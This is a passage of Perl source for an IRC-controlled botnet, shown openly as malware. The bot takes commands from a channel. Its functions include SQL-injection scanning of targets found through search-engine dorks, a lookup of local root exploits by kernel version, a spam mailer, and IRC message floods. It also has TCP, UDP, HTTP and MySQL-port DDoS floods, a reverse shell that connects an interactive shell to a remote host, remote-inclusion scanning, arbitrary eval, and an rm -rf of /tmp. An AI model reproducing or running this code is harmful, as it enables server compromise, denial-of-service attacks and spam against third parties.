  608. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AOL 7[".scalar(@aollist)."7] Sites");
  609. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  610. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  611. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  612. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  613. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  614. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  615. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  616. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 UoL 7[".scalar(@ulist)."7] Sites");
  617. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 FireBall 7[".scalar(@flist)."7] Sites");
  618.  
  619. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  620.  
  621. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Filtruje4 ][ ".scalar(@tot)." 12Stron4 ] ");
  622. my @puliti=&unici(@tot);
  623.  
  624. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ SQL ] [ 12$dork4 ][ ".scalar(@puliti)." 12Stron4 ] ");
  625.  
  626. my $uni=scalar(@puliti);
  627.  
  628. foreach my $sito (@puliti) {
  629.  
  630. $contatore++;
  631. if ($contatore %5==0){
  632. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Skanuje4 ][ ".$contatore." 12z4 ".$uni. " 12Stron4 ] ");
  633. }
  634. sleep 3;
  635. if ($contatore==$uni-1){
  636. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ scan ] [ 12Koniec:4 $bug $dork ] ");
  637. }
  638. sleep 3;
  639. my $site="http://".$sito.$bug;
  640. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  641.  
  642. $w=int rand(999);
  643. $w=$w*1000;
  644. for($i=1;$i<=$columns;$i++) {
  645. splice(@col,0,$#col+1);
  646. for($j=1;$j<=$i;$j++) {
  647. push(@col,$w+$j);
  648. }
  649. $tmp=join(",",@col);
  650. $test=$site."-1+UNION+SELECT+".$tmp."/*";
  651. print $test."\n";
  652. $result=get_html($test);
  653. $result =~ s/\/\*\*\///g;
  654. $result =~ s/UNION([^(\*)]*)//g;
  655. for($k=1;$k<=$i;$k++) {
  656. $n=$w+$k;
  657. if($result =~ /$n/){
  658. splice(@col2,0,$#col2+1);
  659. for($s=1;$s<=$i;$s++) {
  660. push(@col2,$s);
  661. }
  662. $tmp2=join(",",@col2);
  663. $test2="+UNION+SELECT+".$tmp2."/*";
  664. push @{$dane{$test2}},$k;
  665. }
  666. }
  667. }
  668. for $klucz (keys %dane) {
  669. foreach $i(@{$dane{$klucz}}) {
  670. $klucz =~ s/$i/$i/;
  671. }
  672. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site."-1".$klucz." ]  ");
  673. }
  674. %dane=();
  675. }
  676. }
  677. delproc($$);
  678. exit;
  679. }
  680. }
  681. ####### SQL SCANNER #########
  682.  
  683. if ($funcarg =~ /^autoscan\s+(.*)\s+http\:\/\/(.*?)\/(.*?)\s+(\d+)/){
  684. if (my $pid = fork) {
  685. waitpid($pid, 0);
  686. } else {
  687. if (my $d=fork()) {
  688. addproc($d,"[String] $2");
  689. exit;
  690. } else {
  691. $kto = $1;
  692. $host = $2;
  693. $skrypt = $3;
  694. $czekac=$4;
  695.  
  696. #http://ttl.ugu.pl/string/index.php
  697. my $socke = IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>"80",Proto=>"tcp") or return;
  698. print $socke "GET /$skrypt HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  699.  
  700. my @r = <$socke>;
  701. $page="@r";
  702.  
  703. $page =~ s/!scan(\s+)//g;
  704. $page =~ s/!scan(.)//g;
  705. $page =~ s/\<.*\>//g;
  706.  
  707. @lines = split (/\n/, $page);
  708. $ile=scalar(@lines);
  709.  
  710.  
  711. for($i=9;$i<=$ile;$i+=4) {
  712.  
  713. for($j=0;$j<4;$j++) {
  714. #print $lines[$i+$j]."\n";
  715.  
  716. sendraw($IRC_cur_socket, "PRIVMSG $printl :$kto $lines[$i+$j]");
  717.  
  718. sleep 10;
  719. }
  720.  
  721. sleep $czekac*60;
  722. }
  723.  
  724. }
  725. delproc($$);
  726. exit;
  727. }
  728. }
  729.  
  730.  
  731.  
  732.  
  733.  
  734. ####### SQL SCANNER #########
  735.  
  736. if ($funcarg =~ /^sql\s+(.*)\s+(\d+)/){
  737. if (my $pid = fork()) {
  738. waitpid($pid, 0);
  739. } else {
  740. if (my $d=fork()) {
  741. addproc($d,"[SQL1] $1 $2");
  742. exit;
  743. } else {
  744. my $site=$1;
  745. my $columns=$2;
  746. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Sprawdzam: 4$site 12cols: 4 $columns ] ");
  747.  
  748. $w=int rand(999);
  749. $w=$w*1000;
  750. for($i=1;$i<=$columns;$i++) {
  751. splice(@col,0,$#col+1);
  752. for($j=1;$j<=$i;$j++) {
  753. push(@col,$w+$j);
  754. }
  755. $tmp=join(",",@col);
  756. $test=$site.$bug."-1+UNION+SELECT+".$tmp."/*";
  757. #$result=query($test);
  758. $result=get_html($test);
  759.  
  760. $result =~ s/\/\*\*\///g;
  761. $result =~ s/UNION([^(\*)]*)//g;
  762. for($k=1;$k<=$i;$k++) {
  763. $n=$w+$k;
  764. if($result =~ /$n/){
  765. splice(@col2,0,$#col2+1);
  766. for($s=1;$s<=$i;$s++) {
  767. push(@col2,$s);
  768. }
  769. $tmp2=join(",",@col2);
  770. $test2="+UNION+SELECT+".$tmp2."/*";
  771. push @{$dane{$test2}},$k;
  772. }
  773. }
  774. }
  775. for $klucz (keys %dane) {
  776. foreach $i(@{$dane{$klucz}}) {
  777. $klucz =~ s/$i/$i/;
  778. }
  779. sendraw($IRC_cur_socket, "PRIVMSG $printl :13,1 [ vuln ] 9,1 [ ".$site.$bug."-1".$klucz." ]  ");
  780. }
  781. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,16 [ sql ] [ 12Koniec 4 ] ");
  782. }
  783. delproc($$);
  784. exit;
  785. }
  786. }
  787. ####### SQL SCANNER #########
  788. ######################
  789. # Rootable #
  790. ######################
  791. if ($funcarg =~ /^rootable/) {
  792. my $khost = `uname -r`;
  793. my $currentid = `whoami`;
  794. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Currently you are ".$currentid." ");
  795. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] The kernel of this box is ".$khost." ");
  796. chomp($khost);
  797.  
  798. my %h;
  799. $h{'w00t'} = {
  800. vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4.16','2.4.20']
  801. };
  802.  
  803. $h{'brk'} = {
  804. vuln=>['2.4.22','2.4.21','2.4.10','2.4.20']
  805. };
  806.  
  807. $h{'ave'} = {
  808. vuln=>['2.4.19','2.4.20']
  809. };
  810.  
  811. $h{'elflbl'} = {
  812. vuln=>['2.4.29']
  813. };
  814.  
  815. $h{'elfdump'} = {
  816. vuln=>['2.4.27']
  817. };
  818.  
  819. $h{'expand_stack'} = {
  820. vuln=>['2.4.29']
  821. };
  822.  
  823. $h{'h00lyshit'} = {
  824. vuln=>['2.6.8','2.6.10','2.6.11','2.6.9','2.6.7','2.6.13','2.6.14','2.6.15','2.6.16','2.6.2']
  825. };
  826.  
  827. $h{'kdump'} = {
  828. vuln=>['2.6.13']
  829. };
  830.  
  831. $h{'km2'} = {
  832. vuln=>['2.4.18','2.4.22']
  833. };
  834.  
  835. $h{'krad'} = {
  836. vuln=>['2.6.11']
  837. };
  838.  
  839. $h{'krad3'} = {
  840. vuln=>['2.6.11','2.6.9']
  841. };
  842.  
  843. $h{'local26'} = {
  844. vuln=>['2.6.13']
  845. };
  846.  
  847. $h{'loko'} = {
  848. vuln=>['2.4.22','2.4.23','2.4.24']
  849. };
  850.  
  851. $h{'mremap_pte'} = {
  852. vuln=>['2.4.20','2.2.25','2.4.24']
  853. };
  854.  
  855. $h{'newlocal'} = {
  856. vuln=>['2.4.17','2.4.19','2.4.18']
  857. };
  858.  
  859. $h{'ong_bak'} = {
  860. vuln=>['2.4.','2.6.']
  861. };
  862.  
  863. $h{'ptrace'} = {
  864. vuln=>['2.2.','2.4.22']
  865. };
  866.  
  867. $h{'ptrace_kmod'} = {
  868. vuln=>['2.4.2']
  869. };
  870.  
  871. $h{'ptrace24'} = {
  872. vuln=>['2.4.9']
  873. };
  874.  
  875. $h{'pwned'} = {
  876. vuln=>['2.4.','2.6.']
  877. };
  878.  
  879. $h{'py2'} = {
  880. vuln=>['2.6.9','2.6.17','2.6.15','2.6.13']
  881. };
  882.  
  883. $h{'raptor_prctl'} = {
  884. vuln=>['2.6.13','2.6.17','2.6.16','2.6.13']
  885. };
  886.  
  887. $h{'prctl3'} = {
  888. vuln=>['2.6.13','2.6.17','2.6.9']
  889. };
  890.  
  891. $h{'remap'} = {
  892. vuln=>['2.4.']
  893. };
  894.  
  895. $h{'rip'} = {
  896. vuln=>['2.2.']
  897. };
  898.  
  899. $h{'stackgrow2'} = {
  900. vuln=>['2.4.29','2.6.10']
  901. };
  902.  
  903. $h{'uselib24'} = {
  904. vuln=>['2.4.29','2.6.10','2.4.22','2.4.25']
  905. };
  906.  
  907. $h{'newsmp'} = {
  908. vuln=>['2.6.']
  909. };
  910.  
  911. $h{'smpracer'} = {
  912. vuln=>['2.4.29']
  913. };
  914.  
  915. $h{'loginx'} = {
  916. vuln=>['2.4.22']
  917. };
  918.  
  919. $h{'exp.sh'} = {
  920. vuln=>['2.6.9','2.6.10','2.6.16','2.6.13']
  921. };
  922.  
  923. $h{'prctl'} = {
  924. vuln=>['2.6.']
  925. };
  926.  
  927. $h{'kmdx'} = {
  928. vuln=>['2.6.','2.4.']
  929. };
  930.  
  931. $h{'raptor'} = {
  932. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  933. };
  934.  
  935. $h{'raptor2'} = {
  936. vuln=>['2.6.13','2.6.14','2.6.15','2.6.16']
  937. };
  938.  
  939. foreach my $key(keys %h){
  940. foreach my $kernel ( @{ $h{$key}{'vuln'} } ){
  941. if($khost=~/^$kernel/){
  942. chop($kernel) if ($kernel=~/.$/);
  943. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Rootable12] Possible Local Root Exploits: ". $key ." ");
  944. }
  945. }
  946. }
  947. }
  948. ######################
  949. # MAILER #
  950. ######################
  951. if ($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  952. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Sending Mail to : 2 $3");
  953. $subject = $1;
  954. $sender = $2;
  955. $recipient = $3;
  956. @corpo = $4;
  957. $mailtype = "content-type: text/html";
  958. $sendmail = '/usr/sbin/sendmail';
  959. open (SENDMAIL, "| $sendmail -t");
  960. print SENDMAIL "$mailtype\n";
  961. print SENDMAIL "Subject: $subject\n";
  962. print SENDMAIL "From: $sender\n";
  963. print SENDMAIL "To: $recipient\n\n";
  964. print SENDMAIL "@corpo\n\n";
  965. close (SENDMAIL);
  966. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Mailer12] Mailer :. | Mail Sent To : 2 $recipient");
  967. }
  968. ######################
  969. # End of MAILER #
  970. ######################
  971. # A /tmp cleaner
  972. if ($funcarg =~ /^cleartmp/) {
  973. system 'cd /tmp;rm -rf *';
  974. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TMPCleaner12] /tmp is Cleaned");
  975. }
  976. #-#-#-#-#-#-#-#-#
  977. # Flooders IRC #
  978. #-#-#-#-#-#-#-#-#
  979. # msg, @msgflood <who>
  980. if ($funcarg =~ /^msgflood (.+?) (.*)/) {
  981. for($i=0; $i<=10; $i+=1){
  982. sendraw($IRC_cur_socket, "PRIVMSG ".$1." ".$2);
  983. }
  984. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3MSGFlood12]14 Excecuted on ".$1." ");
  985. }
  986.  
  987. # dccflood, @dccflood <who>
  988. if ($funcarg =~ /^dccflood (.*)/) {
  989. for($i=0; $i<=10; $i+=1){
  990. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001DCC CHAT chat 1121485131 1024\001\n");
  991. }
  992. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3DCCFlood12]14 Excecuted on ".$1." ");
  993. }
  994. # ctcpflood, @ctcpflood <who>
  995. if ($funcarg =~ /^ctcpflood (.*)/) {
  996. for($i=0; $i<=10; $i+=1){
  997. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  998. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  999. }
  1000. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3CTCPFlood12]14 Excecuted on ".$1." ");
  1001. }
  1002. # noticeflood, @noticeflood <who>
  1003. if ($funcarg =~ /^noticeflood (.*)/) {
  1004. for($i=0; $i<=10; $i+=1){
  1005. sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFL00D\n");
  1006. }
  1007. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3NoticeFlood12]14 Excecuted on ".$1." ");
  1008. }
  1009. # Channel Flood, @channelflood
  1010. if ($funcarg =~ /^channelflood/) {
  1011. for($i=0; $i<=25; $i+=1){
  1012. sendraw($IRC_cur_socket, "JOIN #".(int(rand(99999))) );
  1013. }
  1014. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3ChannelFlood12]14 Excecuted ");
  1015. }
  1016. # Maxi Flood, @maxiflood
  1017. if ($funcarg =~ /^maxiflood(.*)/) {
  1018. for($i=0; $i<=15; $i+=1){
  1019. sendraw($IRC_cur_socket, "NOTICE ".$1." :w3tFl00D\n");
  1020. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001VERSION\001\n");
  1021. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :\001PING\001\n");
  1022. sendraw($IRC_cur_socket, "PRIVMSG ".$1." :w3tFl00D\n");
  1023. }
  1024. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3M4Xi-Fl00d12]14 Excecuted on ".$1." ");
  1025. }
  1026. ######################
  1027. # irc #
  1028. ######################
  1029. if ($funcarg =~ /^reset/) {
  1030. sendraw($IRC_cur_socket, "QUIT :");
  1031. }
  1032. if ($funcarg =~ /^join (.*)/) {
  1033. sendraw($IRC_cur_socket, "JOIN ".$1);
  1034. }
  1035. if ($funcarg =~ /^part (.*)/) {
  1036. sendraw($IRC_cur_socket, "PART ".$1);
  1037. }
  1038. if ($funcarg =~ /^voice (.*)/) {
  1039. sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
  1040. }
  1041. if ($funcarg =~ /^devoice (.*)/) {
  1042. sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
  1043. }
  1044. if ($funcarg =~ /^halfop (.*)/) {
  1045. sendraw($IRC_cur_socket, "MODE $printl +h ".$1);
  1046. }
  1047. if ($funcarg =~ /^dehalfop (.*)/) {
  1048. sendraw($IRC_cur_socket, "MODE $printl -h ".$1);
  1049. }
  1050. if ($funcarg =~ /^owner (.*)/) {
  1051. sendraw($IRC_cur_socket, "MODE $printl +q ".$1);
  1052. }
  1053. if ($funcarg =~ /^deowner (.*)/) {
  1054. sendraw($IRC_cur_socket, "MODE $printl -q ".$1);
  1055. }
  1056. if ($funcarg =~ /^op (.*)/) {
  1057. sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
  1058. }
  1059. if ($funcarg =~ /^deop (.*)/) {
  1060. sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
  1061. }
  1062. ######################
  1063. #End of Join And Part#
  1064. ######################
  1065. ######################
  1066. # TCPFlood #
  1067. ######################
  1068.  
  1069. if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1070. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3TCP-DDOS12] Attacking 4 ".$1.":".$2." 12for 4 ".$3." 12seconds.");
  1071. my $itime = time;
  1072. my ($cur_time);
  1073. $cur_time = time - $itime;
  1074. while ($3>$cur_time){
  1075. $cur_time = time - $itime;
  1076. &tcpflooder("$1","$2","$3");
  1077. }
  1078. sendraw($IRC_cur_socket,"PRIVMSG $printl :12[4@3TCP-DDOS12] Attack done 4 ".$1.":".$2.".");
  1079. }
  1080. ######################
  1081. # End of TCPFlood #
  1082. ######################
  1083. ######################
  1084. # SQL Fl00dEr #
  1085. ######################
  1086. if ($funcarg =~ /^sqlflood\s+(.*)\s+(\d+)/) {
  1087. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking 4 ".$1." 12 on port 3306 for 4 ".$2." 12 seconds .");
  1088. my $itime = time;
  1089. my ($cur_time);
  1090. $cur_time = time - $itime;
  1091. while ($2>$cur_time){
  1092. $cur_time = time - $itime;
  1093. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>3306);
  1094. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1095. close($socket);
  1096. }
  1097. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-DDOS12] Attacking done 4 ".$1.".");
  1098. }
  1099. ######################
  1100. # Back Connect #
  1101.  
  1102. ######################
  1103. if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
  1104. my $host = "$1";
  1105. my $porta = "$2";
  1106. my $proto = getprotobyname('tcp');
  1107. my $iaddr = inet_aton($host);
  1108. my $paddr = sockaddr_in($porta, $iaddr);
  1109. my $shell = "/bin/sh -i";
  1110. if ($^O eq "MSWin32") {
  1111. $shell = "cmd.exe";
  1112. }
  1113. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  1114. connect(SOCKET, $paddr) or die "connect: $!";
  1115. open(STDIN, ">&SOCKET");
  1116. open(STDOUT, ">&SOCKET");
  1117. open(STDERR, ">&SOCKET");
  1118. system("$shell");
  1119. close(STDIN);
  1120. close(STDOUT);
  1121. close(STDERR);
  1122. if ($estatisticas){
  1123. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Back-Connect12] Connecting to 4 $host:$porta");
  1124. }
  1125. }
  1126. ######################
  1127. #End of Back Connect#
  1128. ######################
  1129. ######################
  1130. # MULTI SCANNER #
  1131. ######################
  1132. if ($funcarg =~ /^multiscan\s+(.*?)\s+(.*)/){
  1133. if (my $pid = fork) {
  1134. waitpid($pid, 0);
  1135. } else {
  1136. if (fork) {
  1137. exit;
  1138. } else {
  1139. my $bug=$1;
  1140. my $dork=$2;
  1141. my $contatore=0;
  1142. my ($type,$space);
  1143. my %hosts;
  1144. ### Start Message
  1145. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Starting Scan for 4$bug $dork");
  1146. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Multi-Scan12] Initializing on 45 12Search Engines ");
  1147. ### End of Start Message
  1148. # Starting Google
  1149. my @glist=&google($dork);
  1150. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1151. my @mlist=&msn($dork);
  1152. my @asklist=&ask($dork);
  1153. my @allist=&alltheweb($dork);
  1154. my @aollist=&aol($dork);
  1155. my @lycos=&lycos($dork);
  1156. my @ylist=&yahoo($dork);
  1157. my @mzlist=&mozbot($dork);
  1158. my @mamalist&mamma($dork);
  1159. my @hlist=&hotbot($dork);
  1160. my @altlist=&altavista($dork);
  1161. my @slist=&search($dork);
  1162. my @ulist=&uol($dork);
  1163. my @fireball=&fireball($dork);
  1164. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  1165. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MSN 7[".scalar(@mlist)."7] Sites");
  1166. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
  1167. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Ask.com 7[".scalar(@asklist)."7] Sites");
  1168. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 AOL 7[".scalar(@aollist)."7] Sites");
  1169. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Lycos 7[".scalar(@lycos)."7] Sites");
  1170. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Yahoo! 7[".scalar(@ylist)."7] Sites");
  1171. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 MozBot 7[".scalar(@mzlist)."7] Sites");
  1172. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Mama 7[".scalar(@mamalist)."7] Sites");
  1173. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 HotBot 7[".scalar(@hlist)."7] Sites");
  1174. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Altavista 7[".scalar(@altlist)."7] Sites");
  1175. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 Search[dot]com 7[".scalar(@slist)."7] Sites");
  1176. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 UoL 7[".scalar(@ulist)."7] Sites");
  1177. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3Multi-Scan12]12 FireBall 7[".scalar(@flist)."7] Sites");
  1178. #
  1179. push(my @tot, @glist, @mlist, @alist, @allist, @asklist, @aollist, @lycos, @ylist, @mzlist, @mamalist, @hlist,@altlist, @slist, @ulist, @flist );
  1180. my @puliti=&unici(@tot);
  1181. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Results: Total:7[".scalar(@tot)."7] Sites and Cleaned: 7[".scalar(@puliti)."7] for $dork ");
  1182. my $uni=scalar(@puliti);
  1183. foreach my $sito (@puliti)
  1184. {
  1185. $contatore++;
  1186. if ($contatore %100==0){
  1187. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Exploiting 7[".$contatore."7] of 7[".$uni. "7] Sites");
  1188. }
  1189. if ($contatore==$uni-1){
  1190. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Finished for $dork");
  1191. }
  1192. ### Print CMD and TEST CMD###
  1193. my $test="http://".$sito.$bug.$id."?";
  1194. my $print="http://".$sito.$bug.$cmd."?";
  1195. ### End of Print CMD and TEST CMD###
  1196. my $req=HTTP::Request->new(GET=>$test);
  1197. my $ua=LWP::UserAgent->new();
  1198. $ua->timeout(4);
  1199. my $response=$ua->request($req);
  1200. if ($response->is_success) {
  1201. my $re=$response->content;
  1202. if($re =~ /Mic22/ && $re =~ /uid=/){
  1203. my $hs=geths($print); $hosts{$hs}++;
  1204. if($hosts{$hs}=="1"){
  1205. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = OFF :. | Vuln: $print ");
  1206. }}
  1207. elsif($re =~ /Mic22/)
  1208. {
  1209. my $hs=geths($print); $hosts{$hs}++;
  1210. if($hosts{$hs}=="1"){
  1211. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3Multi-Scan12] Safe Mode = ON :. | Vuln: $print ");
  1212. }}
  1213. }}}
  1214. exit;
  1215. }}}
  1216. ######################
  1217. #End of MultiSCANNER #
  1218. ######################
  1219. ######################
  1220. # HTTPFlood #
  1221. ######################
  1222. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1223. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1224. my $itime = time;
  1225. my ($cur_time);
  1226. $cur_time = time - $itime;
  1227. while ($2>$cur_time){
  1228. $cur_time = time - $itime;
  1229. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1230. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1231. close($socket);
  1232. }
  1233. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3HTTP DDoS12:.4|12 Attacking done 4 ".$1.".");
  1234. }
  1235. ######################
  1236. # End of HTTPFlood #
  1237. ######################
  1238. ######################
  1239. # UDPFlood #
  1240. ######################
  1241. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1242. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3UDP DDoS12:.4|12 Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
  1243. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1244. $dtime = 1 if $dtime == 0;
  1245. my %bytes;
  1246. $bytes{igmp} = $2 * $pacotes{igmp};
  1247. $bytes{icmp} = $2 * $pacotes{icmp};
  1248. $bytes{o} = $2 * $pacotes{o};
  1249. $bytes{udp} = $2 * $pacotes{udp};
  1250. $bytes{tcp} = $2 * $pacotes{tcp};
  1251. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3UDP-DDos12]12 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1252. }
  1253. ######################
  1254. # End of Udpflood #
  1255. ######################
  1256. exit;
  1257. }
  1258. }
  1259.  
  1260. sub ircase {
  1261. my ($kem, $printl, $case) = @_;
  1262. if ($case =~ /^join (.*)/) {
  1263. j("$1");
  1264. }
  1265. if ($case =~ /^part (.*)/) {
  1266. p("$1");
  1267. }
  1268. if ($case =~ /^rejoin\s+(.*)/) {
  1269. my $chan = $1;
  1270. if ($chan =~ /^(\d+) (.*)/) {
  1271. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1272. p("$2");
  1273. j("$2");
  1274. }
  1275. } else {
  1276. p("$chan");
  1277. j("$chan");
  1278. }
  1279. }
  1280.  
  1281. if ($case =~ /^op/) {
  1282. op("$printl", "$kem") if $case eq "op";
  1283. my $oarg = substr($case, 3);
  1284. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1285. }
  1286.  
  1287. if ($case =~ /^deop/) {
  1288. deop("$printl", "$kem") if $case eq "deop";
  1289. my $oarg = substr($case, 5);
  1290. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1291. }
  1292.  
  1293. if ($case =~ /^msg\s+(\S+) (.*)/) {
  1294. msg("$1", "$2");
  1295. }
  1296.  
  1297. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1298. for (my $cf = 1; $cf <= $1; $cf++) {
  1299. msg("$2", "$3");
  1300. }
  1301. }
  1302.  
  1303. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1304. ctcp("$1", "$2");
  1305. }
  1306.  
  1307. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1308. for (my $cf = 1; $cf <= $1; $cf++) {
  1309. ctcp("$2", "$3");
  1310. }
  1311. }
  1312.  
  1313. if ($case =~ /^nick (.*)/) {
  1314. nick("$1");
  1315. }
  1316.  
  1317. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1318. conectar("$2", "$1", 6667);
  1319. }
  1320.  
  1321. if ($case =~ /^raw (.*)/) {
  1322. sendraw("$1");
  1323. }
  1324.  
  1325. if ($case =~ /^eval (.*)/) {
  1326. eval "$1";
  1327. }
  1328. }
  1329.  
  1330. sub get_html() {
  1331. $test=$_[0];
  1332.  
  1333. $ip=$_[1];
  1334. $port=$_[2];
  1335.  
  1336. my $req=HTTP::Request->new(GET=>$test);
  1337. my $ua=LWP::UserAgent->new();
  1338. if(defined($ip) && defined($port)) {
  1339. $ua->proxy("http","http://$ip:$port/");
  1340. $ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)");
  1341. }
  1342. $ua->timeout(1);
  1343. my $response=$ua->request($req);
  1344. if ($response->is_success) {
  1345. $re=$response->content;
  1346. }
  1347. return $re;
  1348. }
  1349.  
  1350. sub addproc {
  1351.  
  1352. my $proc=$_[0];
  1353. my $dork=$_[1];
  1354.  
  1355. open(FILE,">>/var/tmp/pids");
